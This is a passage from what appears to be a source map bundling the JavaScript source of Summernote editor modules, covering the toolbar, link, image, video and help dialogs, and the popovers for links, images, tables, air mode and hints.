.replace(/^\\s+/, '');\n });\n const fontName = lists.find(fontNames, this.isFontInstalled.bind(this));\n\n $cont.find('.dropdown-fontname a').each((idx, item) => {\n const $item = $(item);\n // always compare string to avoid creating another func.\n const isChecked = ($item.data('value') + '') === (fontName + '');\n $item.toggleClass('checked', isChecked);\n });\n $cont.find('.note-current-fontname').text(fontName).css('font-family', fontName);\n }\n\n if (styleInfo['font-size']) {\n const fontSize = styleInfo['font-size'];\n $cont.find('.dropdown-fontsize a').each((idx, item) => {\n const $item = $(item);\n // always compare with string to avoid creating another func.\n const isChecked = ($item.data('value') + '') === (fontSize + '');\n $item.toggleClass('checked', isChecked);\n });\n $cont.find('.note-current-fontsize').text(fontSize);\n }\n\n if (styleInfo['line-height']) {\n const lineHeight = styleInfo['line-height'];\n $cont.find('.dropdown-line-height li a').each((idx, item) => {\n // always compare with string to avoid creating another func.\n const isChecked = ($(item).data('value') + '') === (lineHeight + '');\n this.className = isChecked ? 'checked' : '';\n });\n }\n }\n\n updateBtnStates($container, infos) {\n $.each(infos, (selector, pred) => {\n this.ui.toggleBtnActive($container.find(selector), pred());\n });\n }\n\n tableMoveHandler(event) {\n const PX_PER_EM = 18;\n const $picker = $(event.target.parentNode); // target is mousecatcher\n const $dimensionDisplay = $picker.next();\n const $catcher = $picker.find('.note-dimension-picker-mousecatcher');\n const $highlighted = $picker.find('.note-dimension-picker-highlighted');\n const $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted');\n\n let posOffset;\n // HTML5 with jQuery - e.offsetX is undefined in Firefox\n if (event.offsetX === undefined) {\n const posCatcher = $(event.target).offset();\n posOffset = {\n x: event.pageX - posCatcher.left,\n y: event.pageY - posCatcher.top\n };\n } else {\n posOffset = {\n x: event.offsetX,\n y: event.offsetY\n };\n }\n\n const dim = {\n c: Math.ceil(posOffset.x / PX_PER_EM) || 1,\n r: Math.ceil(posOffset.y / PX_PER_EM) || 1\n };\n\n $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' });\n $catcher.data('value', dim.c + 'x' + dim.r);\n\n if (dim.c > 3 && dim.c < this.options.insertTableMaxSize.col) {\n $unhighlighted.css({ width: dim.c + 1 + 'em' });\n }\n\n if (dim.r > 3 && dim.r < this.options.insertTableMaxSize.row) {\n $unhighlighted.css({ height: dim.r + 1 + 'em' });\n }\n\n $dimensionDisplay.html(dim.c + ' x ' + dim.r);\n }\n}\n","import $ from 'jquery';\nexport default class Toolbar {\n constructor(context) {\n this.context = context;\n\n this.$window = $(window);\n this.$document = $(document);\n\n this.ui = $.summernote.ui;\n this.$note = context.layoutInfo.note;\n this.$editor = context.layoutInfo.editor;\n this.$toolbar = context.layoutInfo.toolbar;\n this.options = context.options;\n\n this.followScroll = this.followScroll.bind(this);\n }\n\n shouldInitialize() {\n return !this.options.airMode;\n }\n\n initialize() {\n this.options.toolbar = this.options.toolbar || [];\n\n if (!this.options.toolbar.length) {\n this.$toolbar.hide();\n } else {\n this.context.invoke('buttons.build', this.$toolbar, this.options.toolbar);\n }\n\n if (this.options.toolbarContainer) {\n this.$toolbar.appendTo(this.options.toolbarContainer);\n }\n\n this.changeContainer(false);\n\n this.$note.on('summernote.keyup summernote.mouseup summernote.change', () => {\n this.context.invoke('buttons.updateCurrentStyle');\n });\n\n this.context.invoke('buttons.updateCurrentStyle');\n if (this.options.followingToolbar) {\n this.$window.on('scroll resize', this.followScroll);\n }\n }\n\n destroy() {\n this.$toolbar.children().remove();\n\n if (this.options.followingToolbar) {\n this.$window.off('scroll resize', this.followScroll);\n }\n }\n\n followScroll() {\n if (this.$editor.hasClass('fullscreen')) {\n return false;\n }\n\n const $toolbarWrapper = this.$toolbar.parent('.note-toolbar-wrapper');\n const editorHeight = this.$editor.outerHeight();\n const editorWidth = this.$editor.width();\n\n const toolbarHeight = this.$toolbar.height();\n $toolbarWrapper.css({\n height: toolbarHeight\n });\n\n // check if the web app is currently using another static bar\n let otherBarHeight = 0;\n if (this.options.otherStaticBar) {\n otherBarHeight = $(this.options.otherStaticBar).outerHeight();\n }\n\n const currentOffset = this.$document.scrollTop();\n const editorOffsetTop = this.$editor.offset().top;\n const editorOffsetBottom = editorOffsetTop + editorHeight;\n const activateOffset = editorOffsetTop - otherBarHeight;\n const deactivateOffsetBottom = editorOffsetBottom - otherBarHeight - toolbarHeight;\n\n if ((currentOffset > activateOffset) && (currentOffset < deactivateOffsetBottom)) {\n this.$toolbar.css({\n position: 'fixed',\n top: otherBarHeight,\n width: editorWidth\n });\n } else {\n this.$toolbar.css({\n position: 'relative',\n top: 0,\n width: '100%'\n });\n }\n }\n\n changeContainer(isFullscreen) {\n if (isFullscreen) {\n this.$toolbar.prependTo(this.$editor);\n } else {\n if (this.options.toolbarContainer) {\n this.$toolbar.appendTo(this.options.toolbarContainer);\n }\n }\n }\n\n updateFullscreen(isFullscreen) {\n this.ui.toggleBtnActive(this.$toolbar.find('.btn-fullscreen'), isFullscreen);\n\n this.changeContainer(isFullscreen);\n }\n\n updateCodeview(isCodeview) {\n this.ui.toggleBtnActive(this.$toolbar.find('.btn-codeview'), isCodeview);\n if (isCodeview) {\n this.deactivate();\n } else {\n this.activate();\n }\n }\n\n activate(isIncludeCodeview) {\n let $btn = this.$toolbar.find('button');\n if (!isIncludeCodeview) {\n $btn = $btn.not('.btn-codeview');\n }\n this.ui.toggleBtn($btn, true);\n }\n\n deactivate(isIncludeCodeview) {\n let $btn = this.$toolbar.find('button');\n if (!isIncludeCodeview) {\n $btn = $btn.not('.btn-codeview');\n }\n this.ui.toggleBtn($btn, false);\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class LinkDialog {\n constructor(context) {\n this.context = context;\n\n this.ui = $.summernote.ui;\n this.$body = $(document.body);\n this.$editor = context.layoutInfo.editor;\n this.options = context.options;\n this.lang = this.options.langInfo;\n\n context.memo('help.linkDialog.show', this.options.langInfo.help['linkDialog.show']);\n }\n\n initialize() {\n const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n const body = [\n '<div class=\"form-group note-form-group\">',\n `<label class=\"note-form-label\">${this.lang.link.textToDisplay}</label>`,\n '<input class=\"note-link-text form-control note-form-control note-input\" type=\"text\" />',\n '</div>',\n '<div class=\"form-group note-form-group\">',\n `<label class=\"note-form-label\">${this.lang.link.url}</label>`,\n '<input class=\"note-link-url form-control note-form-control note-input\" type=\"text\" value=\"http://\" />',\n '</div>',\n !this.options.disableLinkTarget\n ? $('<div/>').append(this.ui.checkbox({\n id: 'sn-checkbox-open-in-new-window',\n text: this.lang.link.openInNewWindow,\n checked: true\n }).render()).html()\n : ''\n ].join('');\n\n const buttonClass = 'btn btn-primary note-btn note-btn-primary note-link-btn';\n const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.link.insert}</button>`;\n\n this.$dialog = this.ui.dialog({\n className: 'link-dialog',\n title: this.lang.link.insert,\n fade: this.options.dialogsFade,\n body: body,\n footer: footer\n }).render().appendTo($container);\n }\n\n destroy() {\n this.ui.hideDialog(this.$dialog);\n this.$dialog.remove();\n }\n\n bindEnterKey($input, $btn) {\n $input.on('keypress', (event) => {\n if (event.keyCode === key.code.ENTER) {\n event.preventDefault();\n $btn.trigger('click');\n }\n });\n }\n\n /**\n * toggle update button\n */\n toggleLinkBtn($linkBtn, $linkText, $linkUrl) {\n this.ui.toggleBtn($linkBtn, $linkText.val() && $linkUrl.val());\n }\n\n /**\n * Show link dialog and set event handlers on dialog controls.\n *\n * @param {Object} linkInfo\n * @return {Promise}\n */\n showLinkDialog(linkInfo) {\n return $.Deferred((deferred) => {\n const $linkText = this.$dialog.find('.note-link-text');\n const $linkUrl = this.$dialog.find('.note-link-url');\n const $linkBtn = this.$dialog.find('.note-link-btn');\n const $openInNewWindow = this.$dialog.find('input[type=checkbox]');\n\n this.ui.onDialogShown(this.$dialog, () => {\n this.context.triggerEvent('dialog.shown');\n\n // if no url was given, copy text to url\n if (!linkInfo.url) {\n linkInfo.url = linkInfo.text;\n }\n\n $linkText.val(linkInfo.text);\n\n const handleLinkTextUpdate = () => {\n this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n // if linktext was modified by keyup,\n // stop cloning text from linkUrl\n linkInfo.text = $linkText.val();\n };\n\n $linkText.on('input', handleLinkTextUpdate).on('paste', () => {\n setTimeout(handleLinkTextUpdate, 0);\n });\n\n const handleLinkUrlUpdate = () => {\n this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n // display same link on `Text to display` input\n // when create a new link\n if (!linkInfo.text) {\n $linkText.val($linkUrl.val());\n }\n };\n\n $linkUrl.on('input', handleLinkUrlUpdate).on('paste', () => {\n setTimeout(handleLinkUrlUpdate, 0);\n }).val(linkInfo.url);\n\n if (!env.isSupportTouch) {\n $linkUrl.trigger('focus');\n }\n\n this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n this.bindEnterKey($linkUrl, $linkBtn);\n this.bindEnterKey($linkText, $linkBtn);\n\n const isChecked = linkInfo.isNewWindow !== undefined\n ? linkInfo.isNewWindow : this.context.options.linkTargetBlank;\n\n $openInNewWindow.prop('checked', isChecked);\n\n $linkBtn.one('click', (event) => {\n event.preventDefault();\n\n deferred.resolve({\n range: linkInfo.range,\n url: $linkUrl.val(),\n text: $linkText.val(),\n isNewWindow: $openInNewWindow.is(':checked')\n });\n this.ui.hideDialog(this.$dialog);\n });\n });\n\n this.ui.onDialogHidden(this.$dialog, () => {\n // detach events\n $linkText.off('input paste keypress');\n $linkUrl.off('input paste keypress');\n $linkBtn.off('click');\n\n if (deferred.state() === 'pending') {\n deferred.reject();\n }\n });\n\n this.ui.showDialog(this.$dialog);\n }).promise();\n }\n\n /**\n * @param {Object} layoutInfo\n */\n show() {\n const linkInfo = this.context.invoke('editor.getLinkInfo');\n\n this.context.invoke('editor.saveRange');\n this.showLinkDialog(linkInfo).then((linkInfo) => {\n this.context.invoke('editor.restoreRange');\n this.context.invoke('editor.createLink', linkInfo);\n }).fail(() => {\n this.context.invoke('editor.restoreRange');\n });\n }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class LinkPopover {\n constructor(context) {\n this.context = context;\n\n this.ui = $.summernote.ui;\n this.options = context.options;\n this.events = {\n 'summernote.keyup summernote.mouseup summernote.change summernote.scroll': () => {\n this.update();\n },\n 'summernote.disable summernote.dialog.shown': () => {\n this.hide();\n }\n };\n }\n\n shouldInitialize() {\n return !lists.isEmpty(this.options.popover.link);\n }\n\n initialize() {\n this.$popover = this.ui.popover({\n className: 'note-link-popover',\n callback: ($node) => {\n const $content = $node.find('.popover-content,.note-popover-content');\n $content.prepend('<span><a target=\"_blank\"></a> </span>');\n }\n }).render().appendTo(this.options.container);\n const $content = this.$popover.find('.popover-content,.note-popover-content');\n\n this.context.invoke('buttons.build', $content, this.options.popover.link);\n }\n\n destroy() {\n this.$popover.remove();\n }\n\n update() {\n // Prevent focusing on editable when invoke('code') is executed\n if (!this.context.invoke('editor.hasFocus')) {\n this.hide();\n return;\n }\n\n const rng = this.context.invoke('editor.createRange');\n if (rng.isCollapsed() && rng.isOnAnchor()) {\n const anchor = dom.ancestor(rng.sc, dom.isAnchor);\n const href = $(anchor).attr('href');\n this.$popover.find('a').attr('href', href).html(href);\n\n const pos = dom.posFromPlaceholder(anchor);\n this.$popover.css({\n display: 'block',\n left: pos.left,\n top: pos.top\n });\n } else {\n this.hide();\n }\n }\n\n hide() {\n this.$popover.hide();\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class ImageDialog {\n constructor(context) {\n this.context = context;\n this.ui = $.summernote.ui;\n this.$body = $(document.body);\n this.$editor = context.layoutInfo.editor;\n this.options = context.options;\n this.lang = this.options.langInfo;\n }\n\n initialize() {\n const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n let imageLimitation = '';\n if (this.options.maximumImageFileSize) {\n const unit = Math.floor(Math.log(this.options.maximumImageFileSize) / Math.log(1024));\n const readableSize = (this.options.maximumImageFileSize / Math.pow(1024, unit)).toFixed(2) * 1 +\n ' ' + ' KMGTP'[unit] + 'B';\n imageLimitation = `<small>${this.lang.image.maximumFileSize + ' : ' + readableSize}</small>`;\n }\n\n const body = [\n '<div class=\"form-group note-form-group note-group-select-from-files\">',\n '<label class=\"note-form-label\">' + this.lang.image.selectFromFiles + '</label>',\n '<input class=\"note-image-input note-form-control note-input\" ',\n ' type=\"file\" name=\"files\" accept=\"image/*\" multiple=\"multiple\" />',\n imageLimitation,\n '</div>',\n '<div class=\"form-group note-group-image-url\" style=\"overflow:auto;\">',\n '<label class=\"note-form-label\">' + this.lang.image.url + '</label>',\n '<input class=\"note-image-url form-control note-form-control note-input ',\n ' col-md-12\" type=\"text\" />',\n '</div>'\n ].join('');\n const buttonClass = 'btn btn-primary note-btn note-btn-primary note-image-btn';\n const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.image.insert}</button>`;\n\n this.$dialog = this.ui.dialog({\n title: this.lang.image.insert,\n fade: this.options.dialogsFade,\n body: body,\n footer: footer\n }).render().appendTo($container);\n }\n\n destroy() {\n this.ui.hideDialog(this.$dialog);\n this.$dialog.remove();\n }\n\n bindEnterKey($input, $btn) {\n $input.on('keypress', (event) => {\n if (event.keyCode === key.code.ENTER) {\n event.preventDefault();\n $btn.trigger('click');\n }\n });\n }\n\n show() {\n this.context.invoke('editor.saveRange');\n this.showImageDialog().then((data) => {\n // [workaround] hide dialog before restore range for IE range focus\n this.ui.hideDialog(this.$dialog);\n this.context.invoke('editor.restoreRange');\n\n if (typeof data === 'string') { // image url\n this.context.invoke('editor.insertImage', data);\n } else { // array of files\n this.context.invoke('editor.insertImagesOrCallback', data);\n }\n }).fail(() => {\n this.context.invoke('editor.restoreRange');\n });\n }\n\n /**\n * show image dialog\n *\n * @param {jQuery} $dialog\n * @return {Promise}\n */\n showImageDialog() {\n return $.Deferred((deferred) => {\n const $imageInput = this.$dialog.find('.note-image-input');\n const $imageUrl = this.$dialog.find('.note-image-url');\n const $imageBtn = this.$dialog.find('.note-image-btn');\n\n this.ui.onDialogShown(this.$dialog, () => {\n this.context.triggerEvent('dialog.shown');\n\n // Cloning imageInput to clear element.\n $imageInput.replaceWith($imageInput.clone().on('change', (event) => {\n deferred.resolve(event.target.files || event.target.value);\n }).val(''));\n\n $imageBtn.click((event) => {\n event.preventDefault();\n\n deferred.resolve($imageUrl.val());\n });\n\n $imageUrl.on('keyup paste', () => {\n const url = $imageUrl.val();\n this.ui.toggleBtn($imageBtn, url);\n }).val('');\n\n if (!env.isSupportTouch) {\n $imageUrl.trigger('focus');\n }\n this.bindEnterKey($imageUrl, $imageBtn);\n });\n\n this.ui.onDialogHidden(this.$dialog, () => {\n $imageInput.off('change');\n $imageUrl.off('keyup paste keypress');\n $imageBtn.off('click');\n\n if (deferred.state() === 'pending') {\n deferred.reject();\n }\n });\n\n this.ui.showDialog(this.$dialog);\n });\n }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\n/**\n * Image popover module\n * mouse events that show/hide popover will be handled by Handle.js.\n * Handle.js will receive the events and invoke 'imagePopover.update'.\n */\nexport default class ImagePopover {\n constructor(context) {\n this.context = context;\n this.ui = $.summernote.ui;\n\n this.editable = context.layoutInfo.editable[0];\n this.options = context.options;\n\n this.events = {\n 'summernote.disable': () => {\n this.hide();\n }\n };\n }\n\n shouldInitialize() {\n return !lists.isEmpty(this.options.popover.image);\n }\n\n initialize() {\n this.$popover = this.ui.popover({\n className: 'note-image-popover'\n }).render().appendTo(this.options.container);\n const $content = this.$popover.find('.popover-content,.note-popover-content');\n this.context.invoke('buttons.build', $content, this.options.popover.image);\n }\n\n destroy() {\n this.$popover.remove();\n }\n\n update(target) {\n if (dom.isImg(target)) {\n const pos = dom.posFromPlaceholder(target);\n const posEditor = dom.posFromPlaceholder(this.editable);\n this.$popover.css({\n display: 'block',\n left: this.options.popatmouse ? event.pageX - 20 : pos.left,\n top: this.options.popatmouse ? event.pageY : Math.min(pos.top, posEditor.top)\n });\n } else {\n this.hide();\n }\n }\n\n hide() {\n this.$popover.hide();\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class TablePopover {\n constructor(context) {\n this.context = context;\n\n this.ui = $.summernote.ui;\n this.options = context.options;\n this.events = {\n 'summernote.mousedown': (we, e) => {\n this.update(e.target);\n },\n 'summernote.keyup summernote.scroll summernote.change': () => {\n this.update();\n },\n 'summernote.disable': () => {\n this.hide();\n }\n };\n }\n\n shouldInitialize() {\n return !lists.isEmpty(this.options.popover.table);\n }\n\n initialize() {\n this.$popover = this.ui.popover({\n className: 'note-table-popover'\n }).render().appendTo(this.options.container);\n const $content = this.$popover.find('.popover-content,.note-popover-content');\n\n this.context.invoke('buttons.build', $content, this.options.popover.table);\n\n // [workaround] Disable Firefox's default table editor\n if (env.isFF) {\n document.execCommand('enableInlineTableEditing', false, false);\n }\n }\n\n destroy() {\n this.$popover.remove();\n }\n\n update(target) {\n if (this.context.isDisabled()) {\n return false;\n }\n\n const isCell = dom.isCell(target);\n\n if (isCell) {\n const pos = dom.posFromPlaceholder(target);\n this.$popover.css({\n display: 'block',\n left: pos.left,\n top: pos.top\n });\n } else {\n this.hide();\n }\n\n return isCell;\n }\n\n hide() {\n this.$popover.hide();\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class VideoDialog {\n constructor(context) {\n this.context = context;\n\n this.ui = $.summernote.ui;\n this.$body = $(document.body);\n this.$editor = context.layoutInfo.editor;\n this.options = context.options;\n this.lang = this.options.langInfo;\n }\n\n initialize() {\n const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n const body = [\n '<div class=\"form-group note-form-group row-fluid\">',\n `<label class=\"note-form-label\">${this.lang.video.url} <small class=\"text-muted\">${this.lang.video.providers}</small></label>`,\n '<input class=\"note-video-url form-control note-form-control note-input\" type=\"text\" />',\n '</div>'\n ].join('');\n const buttonClass = 'btn btn-primary note-btn note-btn-primary note-video-btn';\n const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.video.insert}</button>`;\n\n this.$dialog = this.ui.dialog({\n title: this.lang.video.insert,\n fade: this.options.dialogsFade,\n body: body,\n footer: footer\n }).render().appendTo($container);\n }\n\n destroy() {\n this.ui.hideDialog(this.$dialog);\n this.$dialog.remove();\n }\n\n bindEnterKey($input, $btn) {\n $input.on('keypress', (event) => {\n if (event.keyCode === key.code.ENTER) {\n event.preventDefault();\n $btn.trigger('click');\n }\n });\n }\n\n createVideoNode(url) {\n // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm)\n const ytRegExp = /^(?:https?:\\/\\/)?(?:www\\.)?(?:youtu\\.be\\/|youtube\\.com\\/(?:embed\\/|v\\/|watch\\?v=|watch\\?.+&v=))((\\w|-){11})(?:\\S+)?$/;\n const ytMatch = url.match(ytRegExp);\n\n const igRegExp = /(?:www\\.|\\/\\/)instagram\\.com\\/p\\/(.[a-zA-Z0-9_-]*)/;\n const igMatch = url.match(igRegExp);\n\n const vRegExp = /\\/\\/vine\\.co\\/v\\/([a-zA-Z0-9]+)/;\n const vMatch = url.match(vRegExp);\n\n const vimRegExp = /\\/\\/(player\\.)?vimeo\\.com\\/([a-z]*\\/)*(\\d+)[?]?.*/;\n const vimMatch = url.match(vimRegExp);\n\n const dmRegExp = /.+dailymotion.com\\/(video|hub)\\/([^_]+)[^#]*(#video=([^_&]+))?/;\n const dmMatch = url.match(dmRegExp);\n\n const youkuRegExp = /\\/\\/v\\.youku\\.com\\/v_show\\/id_(\\w+)=*\\.html/;\n const youkuMatch = url.match(youkuRegExp);\n\n const qqRegExp = /\\/\\/v\\.qq\\.com.*?vid=(.+)/;\n const qqMatch = url.match(qqRegExp);\n\n const qqRegExp2 = /\\/\\/v\\.qq\\.com\\/x?\\/?(page|cover).*?\\/([^\\/]+)\\.html\\??.*/;\n const qqMatch2 = url.match(qqRegExp2);\n\n const mp4RegExp = /^.+.(mp4|m4v)$/;\n const mp4Match = url.match(mp4RegExp);\n\n const oggRegExp = /^.+.(ogg|ogv)$/;\n const oggMatch = url.match(oggRegExp);\n\n const webmRegExp = /^.+.(webm)$/;\n const webmMatch = url.match(webmRegExp);\n\n let $video;\n if (ytMatch && ytMatch[1].length === 11) {\n const youtubeId = ytMatch[1];\n $video = $('<iframe>')\n .attr('frameborder', 0)\n .attr('src', '//www.youtube.com/embed/' + youtubeId)\n .attr('width', '640').attr('height', '360');\n } else if (igMatch && igMatch[0].length) {\n $video = $('<iframe>')\n .attr('frameborder', 0)\n .attr('src', 'https://instagram.com/p/' + igMatch[1] + '/embed/')\n .attr('width', '612').attr('height', '710')\n .attr('scrolling', 'no')\n .attr('allowtransparency', 'true');\n } else if (vMatch && vMatch[0].length) {\n $video = $('<iframe>')\n .attr('frameborder', 0)\n .attr('src', vMatch[0] + '/embed/simple')\n .attr('width', '600').attr('height', '600')\n .attr('class', 'vine-embed');\n } else if (vimMatch && vimMatch[3].length) {\n $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n .attr('frameborder', 0)\n .attr('src', '//player.vimeo.com/video/' + vimMatch[3])\n .attr('width', '640').attr('height', '360');\n } else if (dmMatch && dmMatch[2].length) {\n $video = $('<iframe>')\n .attr('frameborder', 0)\n .attr('src', '//www.dailymotion.com/embed/video/' + dmMatch[2])\n .attr('width', '640').attr('height', '360');\n } else if (youkuMatch && youkuMatch[1].length) {\n $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n .attr('frameborder', 0)\n .attr('height', '498')\n .attr('width', '510')\n .attr('src', '//player.youku.com/embed/' + youkuMatch[1]);\n } else if ((qqMatch && qqMatch[1].length) || (qqMatch2 && qqMatch2[2].length)) {\n const vid = ((qqMatch && qqMatch[1].length) ? qqMatch[1] : qqMatch2[2]);\n $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')\n .attr('frameborder', 0)\n .attr('height', '310')\n .attr('width', '500')\n .attr('src', 'http://v.qq.com/iframe/player.html?vid=' + vid + '&auto=0');\n } else if (mp4Match || oggMatch || webmMatch) {\n $video = $('<video controls>')\n .attr('src', url)\n .attr('width', '640').attr('height', '360');\n } else {\n // this is not a known video link. Now what, Cat? Now what?\n return false;\n }\n\n $video.addClass('note-video-clip');\n\n return $video[0];\n }\n\n show() {\n const text = this.context.invoke('editor.getSelectedText');\n this.context.invoke('editor.saveRange');\n this.showVideoDialog(text).then((url) => {\n // [workaround] hide dialog before restore range for IE range focus\n this.ui.hideDialog(this.$dialog);\n this.context.invoke('editor.restoreRange');\n\n // build node\n const $node = this.createVideoNode(url);\n\n if ($node) {\n // insert video node\n this.context.invoke('editor.insertNode', $node);\n }\n }).fail(() => {\n this.context.invoke('editor.restoreRange');\n });\n }\n\n /**\n * show image dialog\n *\n * @param {jQuery} $dialog\n * @return {Promise}\n */\n showVideoDialog(text) {\n return $.Deferred((deferred) => {\n const $videoUrl = this.$dialog.find('.note-video-url');\n const $videoBtn = this.$dialog.find('.note-video-btn');\n\n this.ui.onDialogShown(this.$dialog, () => {\n this.context.triggerEvent('dialog.shown');\n\n $videoUrl.val(text).on('input', () => {\n this.ui.toggleBtn($videoBtn, $videoUrl.val());\n });\n\n if (!env.isSupportTouch) {\n $videoUrl.trigger('focus');\n }\n\n $videoBtn.click((event) => {\n event.preventDefault();\n\n deferred.resolve($videoUrl.val());\n });\n\n this.bindEnterKey($videoUrl, $videoBtn);\n });\n\n this.ui.onDialogHidden(this.$dialog, () => {\n $videoUrl.off('input');\n $videoBtn.off('click');\n\n if (deferred.state() === 'pending') {\n deferred.reject();\n }\n });\n\n this.ui.showDialog(this.$dialog);\n });\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\n\nexport default class HelpDialog {\n constructor(context) {\n this.context = context;\n\n this.ui = $.summernote.ui;\n this.$body = $(document.body);\n this.$editor = context.layoutInfo.editor;\n this.options = context.options;\n this.lang = this.options.langInfo;\n }\n\n initialize() {\n const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n const body = [\n '<p class=\"text-center\">',\n '<a href=\"http://summernote.org/\" target=\"_blank\">Summernote @@VERSION@@</a> · ',\n '<a href=\"https://github.com/summernote/summernote\" target=\"_blank\">Project</a> · ',\n '<a href=\"https://github.com/summernote/summernote/issues\" target=\"_blank\">Issues</a>',\n '</p>'\n ].join('');\n\n this.$dialog = this.ui.dialog({\n title: this.lang.options.help,\n fade: this.options.dialogsFade,\n body: this.createShortcutList(),\n footer: body,\n callback: ($node) => {\n $node.find('.modal-body,.note-modal-body').css({\n 'max-height': 300,\n 'overflow': 'scroll'\n });\n }\n }).render().appendTo($container);\n }\n\n destroy() {\n this.ui.hideDialog(this.$dialog);\n this.$dialog.remove();\n }\n\n createShortcutList() {\n const keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];\n return Object.keys(keyMap).map((key) => {\n const command = keyMap[key];\n const $row = $('<div><div class=\"help-list-item\"/></div>');\n $row.append($('<label><kbd>' + key + '</kdb></label>').css({\n 'width': 180,\n 'margin-right': 10\n })).append($('<span/>').html(this.context.memo('help.' + command) || command));\n return $row.html();\n }).join('');\n }\n\n /**\n * show help dialog\n *\n * @return {Promise}\n */\n showHelpDialog() {\n return $.Deferred((deferred) => {\n this.ui.onDialogShown(this.$dialog, () => {\n this.context.triggerEvent('dialog.shown');\n deferred.resolve();\n });\n this.ui.showDialog(this.$dialog);\n }).promise();\n }\n\n show() {\n this.context.invoke('editor.saveRange');\n this.showHelpDialog().then(() => {\n this.context.invoke('editor.restoreRange');\n });\n }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nconst AIR_MODE_POPOVER_X_OFFSET = 20;\n\nexport default class AirPopover {\n constructor(context) {\n this.context = context;\n this.ui = $.summernote.ui;\n this.options = context.options;\n this.events = {\n 'summernote.keyup summernote.mouseup summernote.scroll': () => {\n this.update();\n },\n 'summernote.disable summernote.change summernote.dialog.shown': () => {\n this.hide();\n },\n 'summernote.focusout': (we, e) => {\n // [workaround] Firefox doesn't support relatedTarget on focusout\n // - Ignore hide action on focus out in FF.\n if (env.isFF) {\n return;\n }\n\n if (!e.relatedTarget || !dom.ancestor(e.relatedTarget, func.eq(this.$popover[0]))) {\n this.hide();\n }\n }\n };\n }\n\n shouldInitialize() {\n return this.options.airMode && !lists.isEmpty(this.options.popover.air);\n }\n\n initialize() {\n this.$popover = this.ui.popover({\n className: 'note-air-popover'\n }).render().appendTo(this.options.container);\n const $content = this.$popover.find('.popover-content');\n\n this.context.invoke('buttons.build', $content, this.options.popover.air);\n }\n\n destroy() {\n this.$popover.remove();\n }\n\n update() {\n const styleInfo = this.context.invoke('editor.currentStyle');\n if (styleInfo.range && !styleInfo.range.isCollapsed()) {\n const rect = lists.last(styleInfo.range.getClientRects());\n if (rect) {\n const bnd = func.rect2bnd(rect);\n this.$popover.css({\n display: 'block',\n left: Math.max(bnd.left + bnd.width / 2, 0) - AIR_MODE_POPOVER_X_OFFSET,\n top: bnd.top + bnd.height\n });\n this.context.invoke('buttons.updateCurrentStyle', this.$popover);\n }\n } else {\n this.hide();\n }\n }\n\n hide() {\n this.$popover.hide();\n }\n}\n","import $ from 'jquery';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport key from '../core/key';\n\nconst POPOVER_DIST = 5;\n\nexport default class HintPopover {\n constructor(context) {\n this.context = context;\n\n this.ui = $.summernote.ui;\n this.$editable = context.layoutInfo.editable;\n this.options = context.options;\n this.hint = this.options.hint || [];\n this.direction = this.options.hintDirection || 'bottom';\n this.hints = $.isArray(this.hint) ? this.hint : [this.hint];\n\n this.events = {\n 'summernote.keyup': (we, e) => {\n if (!e.isDefaultPrevented()) {\n this.handleKeyup(e);\n }\n },\n 'summernote.keydown': (we, e) => {\n this.handleKeydown(e);\n },\n 'summernote.disable summernote.dialog.shown': () => {\n this.hide();\n }\n };\n }\n\n shouldInitialize() {\n return this.hints.length > 0;\n }\n\n initialize() {\n this.lastWordRange = null;\n this.$popover = this.ui.popover({\n className: 'note-hint-popover',\n hideArrow: true,\n direction: ''\n }).render().appendTo(this.options.container);\n\n this.$popover.hide();\n this.$content = this.$popover.find('.popover-content,.note-popover-content');\n this.$content.on('click', '.note-hint-item', () => {\n this.$content.find('.active').removeClass('active');\n $(this).addClass('active');\n this.replace();\n });\n }\n\n destroy() {\n this.$popover.remove();\n }\n\n selectItem($item) {\n this.$content.find('.active').removeClass('active');\n $item.addClass('active');\n\n this.$content[0].scrollTop = $item[0].offsetTop - (this.$content.innerHeight() / 2);\n }\n\n moveDown() {\n const $current = this.$content.find('.note-hint-item.active');\n const $next = $current.next();\n\n if ($next.length) {\n this.selectItem($next);\n } else {\n let $nextGroup = $current.parent().next();\n\n if (!$nextGroup.length) {\n $nextGroup = this.$content.find('.note-hint-group').first();\n }\n\n this.selectItem($nextGroup.find('.note-hint-item').first());\n }\n }\n\n moveUp() {\n const $current = this.$content.find('.note-hint-item.active');\n const $prev = $current.prev();\n\n if ($prev.length) {\n this.selectItem($prev);\n } else {\n let $prevGroup = $current.parent().prev();\n\n if (!$prevGroup.length) {\n $prevGroup = this.$content.find('.note-hint-group').last();\n }\n\n this.selectItem($prevGroup.find('.note-hint-item').last());\n }\n }\n\n replace() {\n const $item = this.$content.find('.note-hint-item.active');\n\n if 